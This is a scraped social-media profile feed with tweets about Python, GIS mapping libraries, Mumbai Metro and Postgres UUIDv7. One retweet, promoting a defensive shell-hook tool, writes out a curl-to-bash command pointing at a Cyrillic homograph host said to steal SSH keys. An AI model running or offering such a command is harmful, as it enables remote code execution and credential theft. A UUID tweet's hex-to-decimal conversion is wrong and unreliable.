Ganesh
156 posts

Ganesh
@Spider_GIS
GIS professional to make world accessible to anyone from anywhere.
شامل ہوئے Mayıs 2021
32 فالونگ1 فالوورز

🐍📺 Deep vs Shallow Copies in Python [Video] realpython.com/courses/deep-v…
English

jetbase: Database Migration Tool for Python #python github.com/jetbase-hq/jet…
English
Ganesh ری ٹویٹ کیا

Be honest. When was the last time you actually read a command before pasting it into your terminal?
Because these two lines look identical:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
One installs your tool. The other steals your SSH keys.
That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink.
Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything.
So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry.
github.com/sheeki03/tirith
English
Ganesh ری ٹویٹ کیا
Ganesh ری ٹویٹ کیا

🗺️ Python Mapping Library Spotlight — AnyMap
Working across Mapbox, MapLibre, OpenLayers, KeplerGL, DeckGL, Cesium or Leaflet normally means juggling different APIs.
AnyMap removes that friction.
A Python package for building interactive web maps in Jupyter — with bi-directional Python ⇆ JavaScript communication and multi-backend support through a single unified interface.
🔥 What AnyMap does
Build interactive maps directly inside notebooks
Add markers, layers, GeoJSON + custom styling
Handle click events, animations, dynamic map updates
Control MapLibre, Mapbox, Leaflet, OpenLayers & more from Python
Multi-cell rendering — one instance, multiple outputs
Why this stands out
✔ One API → many mapping engines
✔ Smooth Python → JavaScript execution
✔ Perfect for rapid prototyping + geospatial app development
✔ Familiar to ipyleaflet users — but more powerful, more flexible
Where it fits
📍 Web GIS development
📍 Analysis dashboards + demos
📍 Teaching + experimental environments
📍 Fast prototyping before full deployment
Not just mapping — map interactivity, events, dynamic rendering, & full JS method access all inside Jupyter.
Try it
📥 pip install anymap
📄 Docs → anymap.dev
🔧 Repo → github.com/opengeos/anymap
Credits @giswqs
🔔 Follow @GodieMurithi for more spatial tools every day
At @OrionGeospatial
We build advanced mapping platforms, satellite + sensor analytics, enterprise GIS and cloud-based spatial systems for governments & utilities.
If you need to scale prototype maps into real-world operational platforms — we can help.
🌍 Partner with @OrionGeospatial for high-performance geospatial systems
English
Ganesh ری ٹویٹ کیا

@MumbaiMetro3 @CMOMaharashtra @MahaDGIPR @MoHUA_India @AshwiniBhide @SubodhGupta_ @RamanaR4 what is opening date?, we are waiting for it from years
English

काळबादेवी मेट्रो स्थानक 🚇✨
मराठी संस्कृती आणि वेगवान मुंबईला जोडणारा नवा पूल!
मुंबईच्या मध्य भागातील जुने, ऐतिहासिक आणि सांस्कृतिकदृष्ट्या महत्त्वाचे वाणिज्यिक केंद्र आहे. आता येथे आधुनिक NATM पद्धतीने मेट्रो स्थानक उभारले गेले असून, हे अतिगर्दीच्या परिसरात तंत्रज्ञान आणि वारसा यांची अनोखी सांगड घालते आहे
#काळबादेवी #UrbanTransport #ConnectingTheUnconnected #EngineeringMarvel #AquaLine




MR

Creating a Python Dice Roll Application #python realpython.com/courses/creati…
English
Ganesh ری ٹویٹ کیا

🔥 Postgres 18 update: indexable UUIDs
Postgres 18 is in beta and will be out in production databases near you this fall. There’s a new addition to the uuid data type for supporting UUIDv7.
UUIDs are randomly generated strings. They are inherently globally unique.
UUIDs are good for primary keys for a few reasons?
1) They’re unique: You can use keys generated from more than one place
2) Decoupled: Your application can generate a primary key before sending the data to the database.
3) Security: If your URLs use primary keys (e.g., `.../users/5`), a hacker can easily guess other URLs (`.../users/6`, `.../users/7`) and see how many users you have. With a UUID (`.../users/f47ac10b-58cc-4372-a567-0e02b2c3d479`), it's impossible to guess other IDs.
UUID are getting a big overhaul and a new standard for UUID v 7 came out in mid-2024.
- UUIDv4 was the prior version of uuid with native Postgres support. But sorting and indexing in large tables had performance issues.
- UUIDv7 is the answer to the sort and indexing issue. It is still random but that first 48 bits (12 characters) are a timestamp, and the remaining bits are random.
The timestamp part is a hexadecimal value (ie compressed decimal) .So for example `0189d6e4a5d6` (hex) = `2707238289622` (decimal) and that represents the number of milliseconds since 1970.
This is how the DDL will look for uuid v 7:
CREATE TABLE user_actions (
action_id UUID PRIMARY KEY DEFAULT uuidv7(),
user_id BIGINT NOT NULL,
action_description TEXT,
action_time TIMESTAMPTZ NOT NULL DEFAULT NOW()
);
If you’ve struggled with UUIDs in the past - the beta is out now for testing.

English

Andrew Atkinson (@andatki): Avoid UUID Version 4 Primary Keys postgr.es/p/79o
English

Alexander Korotkov: The differences between OrioleDB and Neon postgr.es/p/78Z
English

🚀 Exciting news! The #GeoAI Python package now lets you train land cover classification models with just one line of code.
Leverage any PyTorch segmentation model from smp.readthedocs.io — with hundreds of image encoders & pretrained weights available.
📍 GitHub: github.com/opengeos/geoai
📓 Notebook: geoai.gishub.org/examples/train…
#GeoAI #Geospatial #DeepLearning
English

🌟 I’m thrilled to share that I received the University of Tennessee Library Partner Award for my contributions to the Open Science Workshop and Symposium (openscience.gishub.org). Huge thanks to my colleagues for the nomination and to our department and college for their support!
Check out the news about the awards ceremony here: lib.utk.edu/news/2025/05/u…
The Paul E. Trentham, Sr. Library Partner Award goes to an individual outside the Libraries whose efforts have helped foster increased communication and visibility for our services on campus. This past spring, award winner Qiusheng Wu, an associate professor in the Department of Geography and Sustainability, invited UT Libraries to participate in the Open Science Workshop and Symposium hosted by the College of Arts and Sciences, giving us a new avenue to establish working relationships across campus and providing a platform to discuss open-access funding, open data, and available library services.


English

In Postgres version 15, after many years of anticipation, Postgres introduced the MERGE command.
MERGE combines multiple data operations (INSERT, UPDATE, DELETE) into one atomic statement. Before merge these operations were done with INSERT ... ON CONFLICT or a SELECT + UPDATE + INSERT logic with CTEs and functions.
MERGE is great for bigger data processes where batches or data streams are combining data. Our blog from Jean-Paul Argudo has some great code examples and tips for adding MERGE to your Postgres processes:
crunchydata.com/blog/a-look-at…

English
Ganesh ری ٹویٹ کیا

Esther Minano: pgstream v0.5.0 update postgr.es/p/77M
Filipino

@Spider_GIS @crunchydata Have you looked at github.com/fboulnois/pg_u…? I havent tested it but Postgres 16 is mentioned in repo.
English

Who is keeping up with the latest in UUIDs? There have been some big changes in the last few years with the work on UUIDv7.
UUIDv7 combines both:
- Unix timestamp prefix
- Random UUID suffix
If you were using random UUIDs in UUIDv4, these are generally randomized and private, however they’re not really indexable or sortable. By adding the timestamp on the front in v7, these can be more database and performance friendly.
There’s a Postgres extension to use them now and they are scheduled for Postgres 18 🎉 .
English






